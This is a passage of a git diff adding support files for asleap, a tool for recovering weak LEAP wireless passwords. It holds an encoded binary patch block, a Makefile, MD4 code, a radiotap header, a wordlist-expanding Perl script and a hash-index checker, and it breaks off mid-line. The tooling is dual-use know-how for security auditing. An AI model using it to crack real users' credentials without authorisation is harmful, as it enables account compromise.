zJz(zD4$0jdLLEL6h@$WN9!@$U*z>jUqV!3_jSDuuwN4A-hAaphySV;P?g2mR-h8KX zUNg5h#={yVv`k@$%ki=&6OIGE+noavXx^Iaibp+0xepqox_#)}r4#qge?BU}Wqp@kZPusENE}odVV}=S z{%PFTYd-L8wYRVLN4$OciAg;?92PuYv5$B2z!cBk@Bi55Y?ruBOTy}YAJ;1NtKIGT z8I5i3Us`?T?vj(`HA6$G^>ej`4v+f|ugkq-H)Y~yBU{;gdiCap@q2#G*W5VbEx-4N zt9#S7J%*@U^&?#bjpnb&C45FrTGSZW98g1-c>lhd_+d; zml}`K4HG?c7O3~Tj`Up-Uz^n8!=%ASdq3#Aad_0trg>$XO}QiX_n17jC?Tfp$v<>+ zs;^yNaPF(Rw*Frvje39n1gFWF8_O>12B>_JCS7f}rR~hFt?#^uaPYk2JEXd-?}i^z zZeD!2yvxeF#b<`Jm@~GS`=}OiX}+Tum^QBY5Tnsa2d#_n<8S8k$svIQvGb#{78I%l zYkbU0R_yxWE7!}5tjCmecfa{n z+?Gohf)j_l|7^u$Rn<28q3440+YH*bsPbC7+nw@_BUa}6$(Q#p`KEs4Z5x-Jzc}@1 z@`=~RL#^iSS{J_Sf$fIOup1c*N4fBV4{q7AXY_X;pS*Ik{lpGNyKy;P>ct~wJep}I z+|zB1Sp1MleC+aso-M(q>&FBpEqbb%2@2_cf(0xarmKg(*#@tuB3dI*Y|Fp7CN4H)lQhXj? z6zk{2i3+`6?eW{&rr>GP-I7)%ebd{I5?p)y#I<$M*h$~Vx;PH|C1~_#zjp5td2w!! zVV{2EvbpEHE>1V*-`=uo*sO(q17lV-l|{7odoW<~#RR@U{~+Vph?#}WyV{Au_AaWP zZFMjELtaJeA+HYa_;6)|$BLK{{qBCz)Zz14nHt;Tw#O#KCX~D=Ncu8sN!_PQ9tm2z zC+-k_mfZi#wuxglxY#V4K49|ERh@?FZm)QpU9?w!dw`5&S8qyFQ0e5u{ke*OOJydw|0 zw3<`1(8Y&8{f|!)hGwoQESk`Z|7Y*phGl6h1Wv&nkvG}3gsM#i@%G(YlfB8p11#>x zfN{{x+wyZl-&qU>ShG1JZob2(&@zHJ-r+zSvY9L#bZ|dKtDk3xc|jukG!3od-qY^d6_pc^owc!?;ju8Y4E(W@=1FuQhHr))xG_I^gleF zUw7IPE&S50xL={D;G+WXlAk*(5A-fL`i)O-k^fTsxrYAG)@4b2jYnIu{Ww4~4}U0i zrb5+4a~ROfY#xWr)M_u3I@1=et=F?PkHfD}b`(lvN#l>!v?C+M0j5701>G;LE6hnc z$)+j4p9XDOmc`!;=s-3l2S`6P8A|x5QGwHZ2BfErtp`zI#vv4K@S{S{U#sJ<_XIY6 zmB)YG(2;B=4lwSnH+0UFu`sRZG@Fcj6bhZZEHx-gRulC&CLHbFZX6wo!k`qBD*oe? z_sLjsfYLpRp%jzm+*SQT29&0a@%$OUZ5Ci~^F_}fJz|JI>eY>GCJw;;NjjtpjPccV&g6b@ z0Pg6ckS;Ks6AFVEz-{K;8175$p(RmM{BMdLWHWI9?$903jF?I&wCP3e2M6F@h021- z1)auoBKHsmaMOBs?l5RC4nN^=es8jwH~{zY)6jI(WKeo;Bu+Lho+-~ zgrm-V$%f(ppYr~MrlY2FBHvI3e4-5>`iaodJL>hx)mPY>j$)*?&4o7mh!ZZB_9G+3 z0ZQwyKo@~%)+hU3Wz&>L?m#nQNy2@P0c2Bhfb^ethVE{p&Wn;F7?7Seh~~sWGh%7N z@tT2TGg+8%?<3EdehQiq%Mz*sT*&>fFxV#Hphmy_2 z0k}KbLdj1}!iM5uj<)$H~{yI?od`v zmtZJ!Blm*?a35L#UAHDVFXAm{05`37E4D)uR`G_6$UAJ!vT%SAAAlyThJ=k?Bgsf{ zfN_1sL*+8Yggtem$o=2|<4&Sow`9pJJuea}88D7Ez^pt4?RJ%J$jiCMCgbLQ3r$!} z31x~gWTY(2xK7A(=68c~lT>1BTX%9lEX+9EkAnHoEoHLvBKK7c7-tsaaPyD$K@(Pf z;)eXOWHWI9?$Lvxng!K{O!tRuc@8$E&p4=NL6GR!-GgjO4lr(a0yJlqpBMS2GGLrp zjKgLcauV9xqu!8NZDJFtx{J`XU7YxF>3A|y93cIDKWN%6N!;r(k=zdsFmB&QXxgqq zIhYIvjH8Wlt~a5Bv$Pws>L0VoxJQp5`-ecMQqrR<@k(Eq#m}0QpEDaPZ~ZXBgFyI z58LVh+$1l(s4V%0xPbJ|1N-ricyBADj#P;oQ>Kv(#Q{p6y$Y!#&3U0dn*pV1<9Nrx zt$-3eb)w#B2H8v&=2K?`_ft6qT)#qXT&w?`E!V`a@JI<=5-q=|tUgAhG`1w|nkfDN z>m*2iX%c@amXfiuFr{%n^1p)Qm-f727 zU}JXeOExL}QUl2^UE=++S!7dkfN?vnK=Mn6l9~k!7-tqlG2?7qpyC%p;sdYQWHWJq zaW9TH0S0C5MWy2@Vg!5Vpo|UGT@Q&XW8(X_=8z4=0X`jl28k;JN?C4Tz$dc^_J3^f B Well, I may be doing stupid things with make +# OK, it was Makefile stupid'ness +# I don't really understand what the hell I am doing with Make, I'm +# just copying other files and seeing what works. +# heh +# i think thats all anyone does +# make is a twisted beast +################################## +WPDPACK = ../WPdpack +LDLIBS = -L$(WPDPACK)/Lib -lwpcap -lcrypt -static +CFLAGS = -g3 -ggdb -pipe -Wall -I./cygwin -D_FILE_OFFSET_BITS=64 +CFLGAS += -D_LARGEFILE_SOURCE +PROGOBJ = asleap.o genkeys.o utils.o common.o apeek.o sha1.o +PROG = asleap genkeys + +all: $(PROG) $(PROGOBJ) + +apeek: apeek.c + $(CC) $(CFLAGS) apeek.c -c + +utils: utils.c utils.h + $(CC) $(CFLAGS) utils.c -c + +common: common.c common.h + $(CC) $(CFLAGS) common.c -c + +sha1: sha1.c sha1.h + $(CC) $(CFLAGS) sha1.c -c + +asleap: asleap.c asleap.h sha1.o common.o common.h utils.o apeek.o \ + version.h sha1.c sha1.h apeek.h + $(CC) $(CFLAGS) asleap.c -o asleap \ + common.o utils.o apeek.o sha1.o $(LDLIBS) + +genkeys: genkeys.c md4.c md4.h common.o utils.o + $(CC) $(CFLAGS) md4.c genkeys.c -o genkeys \ + common.o utils.o -lcrypt + +clean: + $(RM) $(PROGOBJ) $(PROG) asleap.exe genkeys.exe *~ diff --git a/asleap/src/md4.c b/asleap/src/md4.c new file mode 100644 index 0000000..d06fa2f --- /dev/null +++ b/asleap/src/md4.c @@ -0,0 +1,308 @@ +/* +** ******************************************************************** +** md4.c -- Implementation of MD4 Message Digest Algorithm ** +** Updated: 2/16/90 by Ronald L. Rivest ** +** (C) 1990 RSA Data Security, Inc. ** +** ******************************************************************** +*/ + +/* +** To use MD4: +** -- Include md4.h in your program +** -- Declare an MDstruct MD to hold the state of the digest +** computation. +** -- Initialize MD using MDbegin(&MD) +** -- For each full block (64 bytes) X you wish to process, call +** MD4Update(&MD,X,512) +** (512 is the number of bits in a full block.) +** -- For the last block (less than 64 bytes) you wish to process, +** MD4Update(&MD,X,n) +** where n is the number of bits in the partial block. A partial +** block terminates the computation, so every MD computation +** should terminate by processing a partial block, even if it +** has n = 0. +** -- The message digest is available in MD.buffer[0] ... +** MD.buffer[3]. (Least-significant byte of each word +** should be output first.) +** -- You can print out the digest using MDprint(&MD) +*/ + +/* Implementation notes: +** This implementation assumes that ints are 32-bit quantities. +*/ + +#define TRUE 1 +#define FALSE 0 + +/* Compile-time includes +*/ +#include +#include +#include "md4.h" + +/* Compile-time declarations of MD4 "magic constants". +*/ +#define I0 0x67452301 /* Initial values for MD buffer */ +#define I1 0xefcdab89 +#define I2 0x98badcfe +#define I3 0x10325476 +#define C2 013240474631 /* round 2 constant = sqrt(2) in octal */ +#define C3 015666365641 /* round 3 constant = sqrt(3) in octal */ +/* C2 and C3 are from Knuth, The Art of Programming, Volume 2 +** (Seminumerical Algorithms), Second Edition (1981), Addison-Wesley. +** Table 2, page 660. +*/ + +#define fs1 3 /* round 1 shift amounts */ +#define fs2 7 +#define fs3 11 +#define fs4 19 +#define gs1 3 /* round 2 shift amounts */ +#define gs2 5 +#define gs3 9 +#define gs4 13 +#define hs1 3 /* round 3 shift amounts */ +#define hs2 9 +#define hs3 11 +#define hs4 15 + +/* Compile-time macro declarations for MD4. +** Note: The "rot" operator uses the variable "tmp". +** It assumes tmp is declared as unsigned int, so that the >> +** operator will shift in zeros rather than extending the sign bit. +*/ +#define f(X,Y,Z) ((X&Y) | ((~X)&Z)) +#define g(X,Y,Z) ((X&Y) | (X&Z) | (Y&Z)) +#define h(X,Y,Z) (X^Y^Z) +#define rot(X,S) (tmp=X,(tmp<>(32-S))) +#define ff(A,B,C,D,i,s) A = rot((A + f(B,C,D) + X[i]),s) +#define gg(A,B,C,D,i,s) A = rot((A + g(B,C,D) + X[i] + C2),s) +#define hh(A,B,C,D,i,s) A = rot((A + h(B,C,D) + X[i] + C3),s) + +/* MD4print(MDp) +** Print message digest buffer MDp as 32 hexadecimal digits. +** Order is from low-order byte of buffer[0] to high-order byte of +** buffer[3]. +** Each byte is printed with high-order hexadecimal digit first. +** This is a user-callable routine. +*/ +void MD4Print(MDp) +MD4_CTX *MDp; +{ + int i, j; + for (i = 0; i < 4; i++) + for (j = 0; j < 32; j = j + 8) + printf("%02x", (MDp->buffer[i] >> j) & 0xFF); +} + +/* MD4Init(MDp) +** Initialize message digest buffer MDp. +** This is a user-callable routine. +*/ +void MD4Init(MDp) +MD4_CTX *MDp; +{ + int i; + MDp->buffer[0] = I0; + MDp->buffer[1] = I1; + MDp->buffer[2] = I2; + MDp->buffer[3] = I3; + for (i = 0; i < 8; i++) + MDp->count[i] = 0; + MDp->done = 0; +} + +/* MDblock(MDp,X) +** Update message digest buffer MDp->buffer using 16-word data block X. +** Assumes all 16 words of X are full of data. +** Does not update MDp->count. +** This routine is not user-callable. +*/ +static void MDblock(MDp, Xb) +MD4_CTX *MDp; +unsigned char *Xb; +{ + register unsigned int tmp, A, B, C, D; + unsigned int X[16]; + int i; + + for (i = 0; i < 16; ++i) { + X[i] = Xb[0] + (Xb[1] << 8) + (Xb[2] << 16) + (Xb[3] << 24); + Xb += 4; + } + + A = MDp->buffer[0]; + B = MDp->buffer[1]; + C = MDp->buffer[2]; + D = MDp->buffer[3]; + /* Update the message digest buffer */ + ff(A, B, C, D, 0, fs1); /* Round 1 */ + ff(D, A, B, C, 1, fs2); + ff(C, D, A, B, 2, fs3); + ff(B, C, D, A, 3, fs4); + ff(A, B, C, D, 4, fs1); + ff(D, A, B, C, 5, fs2); + ff(C, D, A, B, 6, fs3); + ff(B, C, D, A, 7, fs4); + ff(A, B, C, D, 8, fs1); + ff(D, A, B, C, 9, fs2); + ff(C, D, A, B, 10, fs3); + ff(B, C, D, A, 11, fs4); + ff(A, B, C, D, 12, fs1); + ff(D, A, B, C, 13, fs2); + ff(C, D, A, B, 14, fs3); + ff(B, C, D, A, 15, fs4); + gg(A, B, C, D, 0, gs1); /* Round 2 */ + gg(D, A, B, C, 4, gs2); + gg(C, D, A, B, 8, gs3); + gg(B, C, D, A, 12, gs4); + gg(A, B, C, D, 1, gs1); + gg(D, A, B, C, 5, gs2); + gg(C, D, A, B, 9, gs3); + gg(B, C, D, A, 13, gs4); + gg(A, B, C, D, 2, gs1); + gg(D, A, B, C, 6, gs2); + gg(C, D, A, B, 10, gs3); + gg(B, C, D, A, 14, gs4); + gg(A, B, C, D, 3, gs1); + gg(D, A, B, C, 7, gs2); + gg(C, D, A, B, 11, gs3); + gg(B, C, D, A, 15, gs4); + hh(A, B, C, D, 0, hs1); /* Round 3 */ + hh(D, A, B, C, 8, hs2); + hh(C, D, A, B, 4, hs3); + hh(B, C, D, A, 12, hs4); + hh(A, B, C, D, 2, hs1); + hh(D, A, B, C, 10, hs2); + hh(C, D, A, B, 6, hs3); + hh(B, C, D, A, 14, hs4); + hh(A, B, C, D, 1, hs1); + hh(D, A, B, C, 9, hs2); + hh(C, D, A, B, 5, hs3); + hh(B, C, D, A, 13, hs4); + hh(A, B, C, D, 3, hs1); + hh(D, A, B, C, 11, hs2); + hh(C, D, A, B, 7, hs3); + hh(B, C, D, A, 15, hs4); + MDp->buffer[0] += A; + MDp->buffer[1] += B; + MDp->buffer[2] += C; + MDp->buffer[3] += D; +} + +/* MD4Update(MDp,X,count) +** Input: X -- a pointer to an array of unsigned characters. +** count -- the number of bits of X to use. +** (if not a multiple of 8, uses high bits of last byte.) +** Update MDp using the number of bits of X given by count. +** This is the basic input routine for an MD4 user. +** The routine completes the MD computation when count < 512, so +** every MD computation should end with one call to MD4Update with a +** count less than 512. A call with count 0 will be ignored if the +** MD has already been terminated (done != 0), so an extra call with +** count 0 can be given as a "courtesy close" to force termination +** if desired. +*/ +void MD4Update(MDp, X, count) +MD4_CTX *MDp; +unsigned char *X; +unsigned int count; +{ + unsigned int i, tmp, bit, byte, mask; + unsigned char XX[64]; + unsigned char *p; + + /* return with no error if this is a courtesy close with count + ** zero and MDp->done is true. + */ + if (count == 0 && MDp->done) + return; + /* check to see if MD is already done and report error */ + if (MDp->done) { + printf("\nError: MD4Update MD already done."); + return; + } + + /* Add count to MDp->count */ + tmp = count; + p = MDp->count; + while (tmp) { + tmp += *p; + *p++ = tmp; + tmp = tmp >> 8; + } + + /* Process data */ + if (count == 512) { /* Full block of data to handle */ + MDblock(MDp, X); + } else if (count > 512) { /* Check for count too large */ + printf + ("\nError: MD4Update called with illegal count value %d.", + count); + return; + } else { /* partial block -- must be last block so finish up */ + + /* Find out how many bytes and residual bits there are */ + byte = count >> 3; + bit = count & 7; + /* Copy X into XX since we need to modify it */ + for (i = 0; i <= byte; i++) + XX[i] = X[i]; + for (i = byte + 1; i < 64; i++) + XX[i] = 0; + /* Add padding '1' bit and low-order zeros in last byte */ + mask = 1 << (7 - bit); + XX[byte] = (XX[byte] | mask) & ~(mask - 1); + /* If room for bit count, finish up with this block */ + if (byte <= 55) { + for (i = 0; i < 8; i++) + XX[56 + i] = MDp->count[i]; + MDblock(MDp, XX); + } else { /* need to do two blocks to finish up */ + + MDblock(MDp, XX); + for (i = 0; i < 56; i++) + XX[i] = 0; + for (i = 0; i < 8; i++) + XX[56 + i] = MDp->count[i]; + MDblock(MDp, XX); + } + /* Set flag saying we're done with MD computation */ + MDp->done = 1; + } +} + +/* +** Finish up MD4 computation and return message digest. +*/ +void MD4Final(buf, MD) +unsigned char *buf; +MD4_CTX *MD; +{ + int i, j; + unsigned int w; + + MD4Update(MD, NULL, 0); + for (i = 0; i < 4; ++i) { + w = MD->buffer[i]; + for (j = 0; j < 4; ++j) { + *buf++ = w; + w >>= 8; + } + } +} + +/* quick wrapper for easy md4 */ +void md4(unsigned char *from, int from_len, unsigned char *to) +{ + + MD4_CTX Context; + +#ifndef __NetBSD__ + from_len <<= 3; /* bytes->bits */ +#endif + + MD4Init(&Context); + MD4Update(&Context, from, from_len); + MD4Final(to, &Context); +} diff --git a/asleap/src/md4.h b/asleap/src/md4.h new file mode 100644 index 0000000..63012c7 --- /dev/null +++ b/asleap/src/md4.h @@ -0,0 +1,62 @@ + +/* +** ******************************************************************** +** md4.h -- Header file for implementation of ** +** MD4 Message Digest Algorithm ** +** Updated: 2/13/90 by Ronald L. Rivest ** +** (C) 1990 RSA Data Security, Inc. ** +** ******************************************************************** +*/ + +#ifndef __P +# if defined(__STDC__) || defined(__GNUC__) +# define __P(x) x +# else +# define __P(x) () +# endif +#endif + +/* MDstruct is the data structure for a message digest computation. +*/ +typedef struct { + unsigned int buffer[4]; /* Holds 4-word result of MD computation */ + unsigned char count[8]; /* Number of bits processed so far */ + unsigned int done; /* Nonzero means MD computation finished */ +} MD4_CTX; + +/* MD4Init(MD4_CTX *) +** Initialize the MD4_CTX prepatory to doing a message digest +** computation. +*/ +extern void MD4Init __P((MD4_CTX * MD)); + +/* MD4Update(MD,X,count) +** Input: X -- a pointer to an array of unsigned characters. +** count -- the number of bits of X to use (an unsigned int). +** Updates MD using the first "count" bits of X. +** The array pointed to by X is not modified. +** If count is not a multiple of 8, MD4Update uses high bits of +** last byte. +** This is the basic input routine for a user. +** The routine terminates the MD computation when count < 512, so +** every MD computation should end with one call to MD4Update with a +** count less than 512. Zero is OK for a count. +*/ +extern void MD4Update __P((MD4_CTX * MD, unsigned char *X, unsigned int count)); + +/* MD4Print(MD) +** Prints message digest buffer MD as 32 hexadecimal digits. +** Order is from low-order byte of buffer[0] to high-order byte +** of buffer[3]. +** Each byte is printed with high-order hexadecimal digit first. +*/ +extern void MD4Print __P((MD4_CTX *)); + +/* MD4Final(buf, MD) +** Returns message digest from MD and terminates the message +** digest computation. +*/ +extern void MD4Final __P((unsigned char *, MD4_CTX *)); + +/* Quick and easy wrapper */ +void md4(unsigned char *from, int from_len, unsigned char *to); diff --git a/asleap/src/radiotap.h b/asleap/src/radiotap.h new file mode 100644 index 0000000..405c9f7 --- /dev/null +++ b/asleap/src/radiotap.h @@ -0,0 +1,210 @@ +/* $FreeBSD: src/sys/net80211/ieee80211_radiotap.h,v 1.5 2005/01/22 20:12:05 sam Exp $ */ +/* $NetBSD: ieee80211_radiotap.h,v 1.11 2005/06/22 06:16:02 dyoung Exp $ */ + +/*- + * Copyright (c) 2003, 2004 David Young. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. The name of David Young may not be used to endorse or promote + * products derived from this software without specific prior + * written permission. + * + * THIS SOFTWARE IS PROVIDED BY DAVID YOUNG ``AS IS'' AND ANY + * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A + * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL DAVID + * YOUNG BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED + * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, + * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY + * OF SUCH DAMAGE. + */ + +#ifndef RADIOTAP_H +#define RADIOTAP_H + +/* Kluge the radiotap linktype for now if we don't have it */ +#ifndef LNX_ARPHRD_IEEE80211_RADIOTAP +#define LNX_ARPHRD_IEEE80211_RADIOTAP 803 +#endif + +/* Radiotap header version (from official NetBSD feed) */ +#define IEEE80211RADIOTAP_VERSION "1.5" +/* Base version of the radiotap packet header data */ +#define PKTHDR_RADIOTAP_VERSION 0 + +/* The radio capture header precedes the 802.11 header. */ +struct ieee80211_radiotap_header { + u_int8_t it_version; /* Version 0. Only increases + * for drastic changes, + * introduction of compatible + * new fields does not count. + */ + u_int8_t it_pad; + u_int16_t it_len; /* length of the whole + * header in bytes, including + * int_version, it_pad, + * it_len, and data fields. + */ + u_int32_t it_present; /* A bitmap telling which + * fields are present. Set bit 31 + * (0x80000000) to extend the + * bitmap by another 32 bits. + * Additional extensions are made + * by setting bit 31. + */ +}; + +/* Name Data type Units + * ---- --------- ----- + * + * IEEE80211_RADIOTAP_TSFT u_int64_t microseconds + * + * Value in microseconds of the MAC's 64-bit 802.11 Time + * Synchronization Function timer when the first bit of the + * MPDU arrived at the MAC. For received frames, only. + * + * IEEE80211_RADIOTAP_CHANNEL 2 x u_int16_t MHz, bitmap + * + * Tx/Rx frequency in MHz, followed by flags (see below). + * + * IEEE80211_RADIOTAP_FHSS u_int16_t see below + * + * For frequency-hopping radios, the hop set (first byte) + * and pattern (second byte). + * + * IEEE80211_RADIOTAP_RATE u_int8_t 500kb/s + * + * Tx/Rx data rate + * + * IEEE80211_RADIOTAP_DBM_ANTSIGNAL int8_t decibels from + * one milliwatt (dBm) + * + * RF signal power at the antenna, decibel difference from + * one milliwatt. + * + * IEEE80211_RADIOTAP_DBM_ANTNOISE int8_t decibels from + * one milliwatt (dBm) + * + * RF noise power at the antenna, decibel difference from one + * milliwatt. + * + * IEEE80211_RADIOTAP_DB_ANTSIGNAL u_int8_t decibel (dB) + * + * RF signal power at the antenna, decibel difference from an + * arbitrary, fixed reference. + * + * IEEE80211_RADIOTAP_DB_ANTNOISE u_int8_t decibel (dB) + * + * RF noise power at the antenna, decibel difference from an + * arbitrary, fixed reference point. + * + * IEEE80211_RADIOTAP_LOCK_QUALITY u_int16_t unitless + * + * Quality of Barker code lock. Unitless. Monotonically + * nondecreasing with "better" lock strength. Called "Signal + * Quality" in datasheets. (Is there a standard way to measure + * this?) + * + * IEEE80211_RADIOTAP_TX_ATTENUATION u_int16_t unitless + * + * Transmit power expressed as unitless distance from max + * power set at factory calibration. 0 is max power. + * Monotonically nondecreasing with lower power levels. + * + * IEEE80211_RADIOTAP_DB_TX_ATTENUATION u_int16_t decibels (dB) + * + * Transmit power expressed as decibel distance from max power + * set at factory calibration. 0 is max power. Monotonically + * nondecreasing with lower power levels. + * + * IEEE80211_RADIOTAP_DBM_TX_POWER int8_t decibels from + * one milliwatt (dBm) + * + * Transmit power expressed as dBm (decibels from a 1 milliwatt + * reference). This is the absolute power level measured at + * the antenna port. + * + * IEEE80211_RADIOTAP_FLAGS u_int8_t bitmap + * + * Properties of transmitted and received frames. See flags + * defined below. + * + * IEEE80211_RADIOTAP_ANTENNA u_int8_t antenna index + * + * Unitless indication of the Rx/Tx antenna for this packet. + * The first antenna is antenna 0. + * + * IEEE80211_RADIOTAP_FCS u_int32_t data + * + * FCS from frame in network byte order. + */ +enum ieee80211_radiotap_type { + IEEE80211_RADIOTAP_TSFT = 0, + IEEE80211_RADIOTAP_FLAGS = 1, + IEEE80211_RADIOTAP_RATE = 2, + IEEE80211_RADIOTAP_CHANNEL = 3, + IEEE80211_RADIOTAP_FHSS = 4, + IEEE80211_RADIOTAP_DBM_ANTSIGNAL = 5, + IEEE80211_RADIOTAP_DBM_ANTNOISE = 6, + IEEE80211_RADIOTAP_LOCK_QUALITY = 7, + IEEE80211_RADIOTAP_TX_ATTENUATION = 8, + IEEE80211_RADIOTAP_DB_TX_ATTENUATION = 9, + IEEE80211_RADIOTAP_DBM_TX_POWER = 10, + IEEE80211_RADIOTAP_ANTENNA = 11, + IEEE80211_RADIOTAP_DB_ANTSIGNAL = 12, + IEEE80211_RADIOTAP_DB_ANTNOISE = 13, + IEEE80211_RADIOTAP_FCS = 14, + IEEE80211_RADIOTAP_EXT = 31, +}; + +/* Channel flags. */ +#define IEEE80211_CHAN_TURBO 0x0010 /* Turbo channel */ +#define IEEE80211_CHAN_CCK 0x0020 /* CCK channel */ +#define IEEE80211_CHAN_OFDM 0x0040 /* OFDM channel */ +#define IEEE80211_CHAN_2GHZ 0x0080 /* 2 GHz spectrum channel. */ +#define IEEE80211_CHAN_5GHZ 0x0100 /* 5 GHz spectrum channel */ +#define IEEE80211_CHAN_PASSIVE 0x0200 /* Only passive scan allowed */ +#define IEEE80211_CHAN_DYN 0x0400 /* Dynamic CCK-OFDM channel */ +#define IEEE80211_CHAN_GFSK 0x0800 /* GFSK channel (FHSS PHY) */ + +/* For IEEE80211_RADIOTAP_FLAGS */ +#define IEEE80211_RADIOTAP_F_CFP 0x01 /* sent/received + * during CFP + */ +#define IEEE80211_RADIOTAP_F_SHORTPRE 0x02 /* sent/received + * with short + * preamble + */ +#define IEEE80211_RADIOTAP_F_WEP 0x04 /* sent/received + * with WEP encryption + */ +#define IEEE80211_RADIOTAP_F_FRAG 0x08 /* sent/received + * with fragmentation + */ +#define IEEE80211_RADIOTAP_F_FCS 0x10 /* frame includes FCS */ +#define IEEE80211_RADIOTAP_F_DATAPAD 0x20 /* frame has padding between + * 802.11 header and payload + * (to 32-bit boundary) + */ + +/* Ugly macro to convert literal channel numbers into their mhz equivalents + * There are certianly some conditions that will break this (like feeding it '30') + * but they shouldn't arise since nothing talks on channel 30. */ +#define ieee80211chan2mhz(x) \ + (((x) <= 14) ? \ + (((x) == 14) ? 2484 : ((x) * 5) + 2407) : \ + ((x) + 1000) * 5) + +#endif /* RADIOTAP_H */ + diff --git a/asleap/src/scripts/README b/asleap/src/scripts/README new file mode 100644 index 0000000..e048c96 --- /dev/null +++ b/asleap/src/scripts/README @@ -0,0 +1,6 @@ +Some useless scripts I created while working on these tools: + +morewords.pl - Reads in a dictionary file, appends 00, 01 .. 99 to i + each entry. +strip-nonascii.pl - Removes non-printable characters from the input file. +testidx.c - Reports discrepancies between a genkeys dat and index file. diff --git a/asleap/src/scripts/morewords.pl b/asleap/src/scripts/morewords.pl new file mode 100755 index 0000000..2ea9ddd --- /dev/null +++ b/asleap/src/scripts/morewords.pl @@ -0,0 +1,24 @@ +#!/usr/bin/perl +# This script will read in dictionary words, one per line, and will print to +# stdout all permutations of the word with 00, 01, 02 .. 99 appended to the +# end of the word. This will (obviously) grow your dictionary file by 100x, +# which may or may not be what you want. :) + +if (@ARGV < 1) { + die("Must supply a dictionary filename"); +} + +unless(open(DICTFILE, "$ARGV[0]")) { + die("Error opening file: $!"); +} + +while ($word=) { + printf("$word\n"); + chop($word); # Asumes \n after word - may or may not be true + for($i=0; $i < 10; $i++) { + for($j=0; $j < 10; $j++) { + printf("%s%d%d\n", $word, $i, $j); + } + } +} + diff --git a/asleap/src/scripts/strip-nonascii.pl b/asleap/src/scripts/strip-nonascii.pl new file mode 100755 index 0000000..ae53de4 --- /dev/null +++ b/asleap/src/scripts/strip-nonascii.pl @@ -0,0 +1,9 @@ +# This script will strip all the non-printable ASCII characters in a given +# input. +# e.x. ./strip-nonascii.pl < big-dict >big-dict-clean +#!/usr/bin/perl + +while() { + s/[\x00-\x1f\x7f-\xff]//g; + print "$_\n"; +} diff --git a/asleap/src/scripts/testidx.c b/asleap/src/scripts/testidx.c new file mode 100644 index 0000000..194ffcd --- /dev/null +++ b/asleap/src/scripts/testidx.c @@ -0,0 +1,154 @@ +/* + * asleap - recover weak LEAP passwords. Pronounced "asleep". + * + * Copyright (c) 2003-2007, Joshua Wright + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. See COPYING for more + * details. + * + * asleap is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +/* + * Significant code is graciously taken from the following: + * MS-CHAPv2 and attack tools by Jochen Eisinger, Univ. of Freiburg + */ + + +#include +#include +#include +#include +#include +#include +#include +#include +#include "../common.h" + + +/* This program reads through the index file and prints out the corresponding + password string entry from the associated dict+hash list. Written for + testing the indexing code, but could be used for validating an index file, + + This code only examines the first entry in the dict+hash file, so the verbose + output will display one hash and password per key entry. It's not really + useful for anything more than validating my indexing code. */ + +int main(int argc, char *argv[]) { + + struct hashpass_rec rec; + struct hashpassidx_rec idxrec; + int hashfile; + FILE *idxfile; + int readlen, passwordlen, j, verbose=1, badmatches=0; + unsigned long idxfilelen=0, idxreadlentot=0; + char password[33]; + unsigned char hash[16]; + struct stat hashfilestat, idxfilestat; + caddr_t base, ptr; + + if (argc < 3) { + + printf("testidx: Test the index file against a genkeys hash file.\n"); + printf(" usage: %s hashfile indexfile\n", argv[0]); + exit(1); + } + + printf("Testing integrity of index (%s) and hash file (%s).\n", + argv[2], argv[1]); + printf("This could take some time ...\n"); + fflush(stdout); + + + /* We use buffered I/O to improve efficiency in reading the index file, + and use an unbuffered file handle for the hash file. Since we are only + referencing the hash file as it exists with mmap(), we don't need to use + buffered I/O. */ + + if((hashfile = open(argv[1], O_RDONLY, 0)) < 0) { + perror("open"); + exit(1); + } + + if ((idxfile = fopen(argv[2], "r")) == NULL) { + perror("fopen"); + close(hashfile); + exit(1); + } + + /* Determine the file size to pass to mmap. Should error-check this. */ + stat(argv[1], &hashfilestat); + + /* Determine the file size so we know when to stop reading. */ + stat(argv[2], &idxfilestat); + idxfilelen = idxfilestat.st_size; + + /* mmap the file into memory */ + base = mmap(0, hashfilestat.st_size, PROT_READ, MAP_SHARED, hashfile, 0); + if (base == MAP_FAILED) { + perror("mmap"); + close(hashfile); + close(idxfile); + exit(1); + } + + /* fd for hash file is no longer needed */ + close(hashfile); + + + /* Read through the index file */ + while (fread(&idxrec, sizeof(idxrec), 1, idxfile) == 1) { + + memset(&rec, 0, sizeof(rec)); + memset(&password, 0, sizeof(password)); + memset(&hash, 0, sizeof(hash)); + + /* Use the offset from the index file to populate this record */ + memcpy(&rec.rec_size, base+idxrec.offset, sizeof(rec.rec_size)); + passwordlen = rec.rec_size - 17; + + /* With the record size, copy the password into the record */ + memcpy(password, base+idxrec.offset+1, passwordlen); + + /* Populate the hash as well */ + memcpy(&hash, base+idxrec.offset+1+passwordlen, sizeof(hash)); + + /* Compare the last two bytes of the hash stored as the key in the + index file with the last two bytes of the hash in the hash+dict + file. If the don't match, we've got a problem. */ + if ((memcmp(&idxrec.hashkey[0], &hash[14], 1) != 0) || + memcmp(&idxrec.hashkey[1], &hash[15], 1) != 0) { + fprintf(stderr, "Hashes do not match: %02x%02x\t%02x%02x\t%s\n", + idxrec.hashkey[0], idxrec.hashkey[1], hash[14], hash[15], + password); + badmatches++; + } + + if (verbose) { + printf("Offset: %ld\thash: 